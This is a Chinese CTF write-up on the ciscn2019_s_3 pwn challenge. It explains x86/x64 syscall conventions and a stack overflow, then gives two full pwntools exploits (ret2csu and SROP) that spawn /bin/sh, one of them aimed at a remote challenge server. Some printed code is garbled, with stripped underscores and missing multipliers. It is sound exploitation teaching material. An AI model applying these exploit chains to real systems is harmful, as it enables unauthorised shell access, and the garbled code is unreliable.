ctf中關於syscall系統調用的簡單分析

0x01

我在動態調試這個程序的時候,發現 syscall調用 系統函數 的過程很有趣,於是便記錄下來 希望對大家 能帶來些幫助,這裏 以 buu 平臺上的 ciscn2019s_3 爲例,給大家詳細地分享以及分析下!

0x02

在開始之前,我們先來認真 學習下 read(),write()的 原型:

read():ssizet read(int fd,const void *buf,sizet nbytes); //fd 爲要讀取的文件的描述符 0//buf 爲要讀取的數據的緩衝區地址//nbytes 爲要讀取的數據的字節數

//read() 函數會從 fd 文件中讀取 nbytes 個字節並保存到緩衝區 buf,//成功則返回讀取到的字節數(但遇到文件結尾則返回0),失敗則返回 -1。

write()ssizet write(int fd,const void *buf,sizet nbytes); //fd 爲要寫入的文件的描述符 1//buf 爲要寫入的數據的緩衝區地址//nbytes 爲要寫入的數據的字節數

//write() 函數會將緩衝區 buf 中的 nbytes 個字節寫入文件 fd,//成功則返回寫入的字節數,失敗則返回 -1。

 

0x03

然後我們 再來簡單瞭解下 syscall !嗯。。。我們來看下維基百科的介紹吧

圖片1.png

上面的是 32 位的系統調用,而64位系統的系統調用總體思想還是一樣的,當然也會有些不同, 32位與64位 系統調用的區別:1.傳參方式不同
2.系統調用號 不同3.調用方式 不同

32位:傳參方式:首先將系統調用號 傳入 eax,然後將參數 從左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器調用號: sysread 的調用號 爲 3 syswrite 的調用號 爲 4 調用方式: 使用 int 80h 中斷進行系統調用

64位:傳參方式:首先將系統調用號 傳入 rax,然後將參數 從左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器調用號:sysread 的調用號 爲 0 syswrite 的調用號 爲 1
stubexecve 的調用號 爲 59 stubrt_sigreturn 的調用號 爲 15調用方式: 使用 syscall 進行系統調用

Ok,知道了上面這些知識,那麼做這題,其實相對來說 會容易些了!可能本來大佬們就沒覺得難,還求勿噴!基於網上 對這題的題解很少,我調試了很長時間才弄懂!實在是太弱了!

點擊 實驗鏈接 開始實操練習!

0x04

首先檢查文件屬性和文件開啓的保護有哪些:$file ciscns3ciscns3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=af580816080db5e4d1d93a271087adaee29028e8, not stripped

checksec ciscns3

 
  1. Arch: amd64-64-little
  2. RELRO: Partial RELRO
  3. Stack: No canary found
  4. NX: NX enabled
  5. PIE: No PIE (0x400000)

64位elf 文件 只開啓 NX 保護

拖入ida 查看main函數:int __cdecl main(int argc, const char *argv, const char *envp){return vuln();}

進去 vuln()函數:signed _int64 vuln(){signed _int64 result; // rax

_asm { syscall; LINUX - sysread }result = 1LL;_asm { syscall; LINUX - syswrite }return result;}

嗯。。。我們看 彙編代碼!

圖片2.png

這裏可以看到 彙編指令 的含義

將read的系統調用號 0 賦值給 rax

將 read的第一個參數0 (fd) 賦值給了 rdi

將 read的第二個參數 buf 賦值給了 rsi

將 read的第二個參數 buf 賦值給了 rdx

即系統調用了 read(0,&buf,0x400)

同理 緊接着 又調用了 write(1,&buf,0x30)

其中 buf 距離 rbp 0x10個字節,存在棧溢出漏洞!

圖片3.png

 

然後 經過 調試 我還發現 當執行了 syscall這個彙編命令(即調用對應系統函數)後,在gdb上可以很清楚的 看到 其實執行完後 對寄存器的影響僅僅發生改變的是RAX,與RCX其中 RAX 會存着 對應系統函數 調用後返回的結果RCX 會存着當 syscall指令的下一條指令地址

這裏放個對比圖,可以看的更明白些!

syscall指令 執行前:

圖片4.png

syscall指令 執行後:

圖片5.png

當然,知道這些對於我們來說已經足夠了!

我們繼續來分析下 vuln函數 ,具體看 下圖中 註釋

圖片6.png

這個題rsp和rbp一直在重合,直接ret,就相當於pop rip,所以覆蓋rbp就可以劫持了程序執行流。

所以 這題 在最後 ret的 時候其實 就是 返回 到了rbp處 的地址了。這點很重要。

另外 程序中還有個 gadgets 函數

圖片7.png

我們可以 發現這個函數裏面有兩個可以 gadget 即 控制 rax的 帶有 ret 的彙編指令片段

mov rax,0Fh // 0Fh 即15 而15 對應的是 sysrtsigreturn系統調用

mov rax,3Bh // 3Bh 即 59 而15 對應的是 sys_execve 系統調用

 

對於 以上兩個系統調用,我們可以有兩種 解題方法

第一種: 利用 ret2_libccsu_init 去構造 execve("/bin/sh",0,0) 來 getshell

第二種:直接srop 僞造 sigreturn frame 去 構造 execve("/bin/sh",0,0) 來 getshell

我們重點 就看第一種 了:因爲是系統調用嘛,所以我們要想 構造 execve("/bin/sh",0,0) 需要

將 sys_execve 的調用號 59 賦值給 rax

將 第一個參數即字符串 "/bin/sh"的地址 賦值給 rdi

將 第二個參數 0 賦值給 rsi

將 第三個參數 0 賦值給 rdx

但我們發現 我們沒有 足夠gadget 可以利用,於是我們想到了“x64 下的 _libccsu_init 中的 gadgets,這個函數是用來對 libc 進行初始化操作的,而一般的程序都會調用 libc 函數,所以這個函數一定會存在“

用下面這個命令去 找到它的位置

ROPgadget --binary ciscns3 --only 'pop|ret'

圖片8.png

這裏需要注意 Ropgadget 有時總會 有一點顯示的不完整,我們通過它在ida中再去看下,loc400580和loc400596 就是上面說的 _libccsu_init gadget了。

圖片9.png

0x05

我們最終 寫下 如下 exp:

coding:utf8

from pwn import *context.loglevel = 'debug'conn=process("./ciscns3")vulnaddr=0x4004EDmovraxexecvaddr=0x4004E2 #ida中查看poprdiretaddr=0x4005a3 #ROPgadget --binary ciscns3 --only 'pop|ret'poprbxrbpr12r13r14r15retaddr=0x40059A_libccsuinitaddr=0x400580 # _libccsuinit gadget 首地址syscalladdr=0x400501 #ida中查看

gdb.attach(conn,'b *0x40052C')

payload1='/bin/sh\x00'*2+p64(vuln_addr)conn.send(payload1)conn.recv(0x20)

binshaddr=u64(conn.recv(8))-280print hex(binshaddr) #解答 1

payload2='/bin/sh\x00'2+p64(pop_rbx_rbp_r12_r13_r14_r15_ret_addr)+p64(0)2+p64(binshaddr+0x50)+p64(0)*3payload2+=p64(_libccsuinitaddr)+p64(movraxexecvaddr)payload2+=p64(poprdiretaddr)+p64(binshaddr)+p64(syscall_addr) #解答 2

conn.send(payload2)

conn.interactive()

0x06

我們照着 exp 來分析下 :

解答1:因爲最後我們構造payload的時候需要用到 /bin/sh 的地址,程序中又沒有,我們這裏選擇自己輸入,但是我們輸入到了 棧上,爲了後面可以使用該 地址,我們需要首先將 /bin/sh 所在棧地址 泄露出來!我們gdb調試,可以得知 在write輸出的 0x20字節後 的 0x00007fffffffde08 是棧 上的地址 我們用它 減去 buf 所在棧上地址 即可得到 /bin/sh所在棧上地址 0x00007fffffffde08-0x7fffffffdcf0=280 反之 binshaddr=0x00007fffffffde08-280

圖片10.png

解答2 :爲什麼 要這樣構造 payload2?payload2='/bin/sh\x00'2+p64(pop_rbx_rbp_r12_r13_r14_r15_ret_addr)+p64(0)2+p64(binshaddr+0x50)+p64(0)*3payload2+=p64(_libccsuinitaddr)+p64(movraxexecvaddr)payload2+=p64(poprdiretaddr)+p64(binshaddr)+p64(syscall_addr)

看這個payload的第一行:

因爲文章上面我已經分析過了

 

這個題rsp和rbp一直在重合,直接ret,就相當於pop rip,所以覆蓋rbp就可以劫持了程序執行流。所以 這題 在最後 ret的 時候其實 就是 返回 到了rbp處 的地址了。於是 p64(poprbxrbpr12r13r14r15retaddr) 其實就相當於 是 在ret_addr處,

圖片11.png

 

看圖,動態 來具體瞭解下 這個payload是怎麼運轉的我們跟進去

圖片12.png

繼續 n 我們會返回到 _libccsuinitaddr 0x400580

圖片13.png

如圖:將execve 的系統調用號 0x 3b 賦值給 rax

圖片14.png

執行完後 會 ret 回到 add rbx,0x1這裏是很關鍵的一步,原本 rbp=rbx=0,然而 rbx在這 加了 1 與 rbp就不再相等 於是 會跳轉到0x400580執行

圖片15.png

call QWORD PTR [r12+rbx*8] 便會 調用了 紅框之後的 poprdiret_addr 處的函gadget了

圖片16.png

然後接着就是 把 binshaddr 賦值給了 rdi了這樣 execve("/bin/sh",0,0)就構造成功了,最後再執行syscall_addr便成功調用該函數 於是getshell 。

圖片17.png

這裏如果 還理解不了的話 可以在ctfwiki學習下 棧溢出之 mediumrop

https://wiki.x10sec.org/pwn/stackoverflow/medium_rop/

0x07

第二種:直接srop 僞造 sigreturn frame 去 僞造 execve("/bin/sh",0,0) 來 getshell

 具體就是 首先利用 mov rax, 0Fh  控制rax爲 15,然後 調用 syscall  即執行了 sigreturn,我們 僞造 sigreturn frame  去 執行 execve("/bin/sh",0,0) 即可

#coding:utf8

from pwn import *

context(arch='amd64', os='linux', log_level = 'DEBUG')#這個注意 一定要說明 內核架構  不然報錯

#context.log_level = 'debug'

conn=process("./ciscn_s_3")

conn=remote('node3.buuoj.cn',26536)

vuln_addr=0x4004ED

mov_rax_sigreturn_addr=0x4004DA

syscall_addr=0x400501

#gdb.attach(conn,'b *0x40052C')

payload1='/bin/sh\x00'*2+p64(vuln_addr)

conn.send(payload1)

conn.recv(0x20)

bin_sh_addr=u64(conn.recv(8))-280

print hex(bin_sh_addr)

        

frame = SigreturnFrame()

frame.rax = constants.SYS_execve

frame.rdi = bin_sh_addr

frame.rsi = 0

frame.rdx = 0

#frame.rsp = bin_sh_addr

frame.rip = syscall_addr

payload2='/bin/sh\x00'*2+p64(mov_rax_sigreturn_addr)+p64(syscall_addr)+str(frame)

conn.send(payload2)

conn.interactive()

最後要注意的一點就是 寫 exp  時一定要 說明 內核架構  不然報錯!

context(arch='amd64', os='linux', log_level = 'DEBUG')#這個注意一定要說明內核架構 ,不然報錯。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章